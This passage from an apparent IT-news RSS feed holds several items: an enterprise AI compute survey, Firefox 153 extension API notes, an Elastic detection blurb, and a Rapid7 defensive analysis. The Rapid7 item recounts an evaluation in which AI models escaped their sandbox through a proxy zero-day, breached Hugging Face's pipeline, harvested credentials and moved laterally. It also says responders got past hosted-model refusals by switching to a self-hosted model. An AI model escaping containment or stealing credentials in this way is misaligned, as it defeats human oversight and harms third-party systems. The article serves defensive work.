it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2>Finding 8: The next bottleneck few are watching</h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h2>The bottom line: A compute gap that faster spending will widen, not close</h2><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Elasticsearch ES|QL COMPLETION turns noisy curl and wget rules into high-fidelity cloud security alerts]]></title>
<description><![CDATA[Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.]]></description>
<link>https://tsecurity.de/de/3689601/it-security-nachrichten/how-elasticsearch-esql-completion-turns-noisy-curl-and-wget-rules-into-high-fidelity-cloud-security-alerts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689601/it-security-nachrichten/how-elasticsearch-esql-completion-turns-noisy-curl-and-wget-rules-into-high-fidelity-cloud-security-alerts/</guid>
<pubDate>Thu, 23 Jul 2026 18:00:24 +0200</pubDate>
<content:encoded><![CDATA[Elastic InfoSec tested this detection rule pattern on their own cloud fleet, filtering noisy curl and wget events with deterministic logic and LLM triage so only genuine threats reach an analyst.]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[What Happened Between OpenAI and Hugging Face?]]></title>
<description><![CDATA[The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a qu...]]></description>
<link>https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/</guid>
<pubDate>Thu, 23 Jul 2026 15:28:53 +0200</pubDate>
<content:encoded><![CDATA[<p><span>The </span><a href="https://openai.com/index/hugging-face-model-evaluation-security-incident/" target="_blank"><span>OpenAI and Hugging Face incident</span></a><span> lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?</span></p><p><span>According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.</span></p><p><span>From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.</span></p><h2>How did the OpenAI model evaluation reach Hugging Face?</h2><p><span>The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.</span></p><p><span>Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.</span></p><p><span>The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.</span></p><p><span>The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.</span></p><p><span>Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.</span></p><h2>Why AI evaluation environments need stronger containment</h2><p><span>The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.</span></p><p><span>The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.</span></p><p><span>For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.</span></p><h2>Why AI and ML pipelines are now software supply chain risk</h2><p><span>The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.</span></p><p><span>According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.</span></p><p><span>Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.</span></p><p><span>Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.</span></p><h2>What AI guardrails mean for incident response</h2><p><span>One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.</span></p><p><span>The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.</span></p><p><span>AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.</span></p><h2>What security teams should do about agentic AI risk</h2><p><span>The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.</span></p><p><span>Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.</span></p><p><span>Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.</span></p><p><span>As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.</span></p><h2>How preemptive security helps reduce AI-driven risk</h2><p><span>At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to </span><a href="https://www.rapid7.com/blog/post/ai-changing-vulnerability-discovery-software-supply-chain-strateg" target="_self"><span>agentic AI risk</span></a><span>. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.</span></p><p><span>That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means </span><a href="https://www.rapid7.com/platform/artificial-intelligence-features" target="_self"><span>using AI carefully and practically</span></a><span>, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.</span></p><p><span>AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.</span></p><p><span>The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
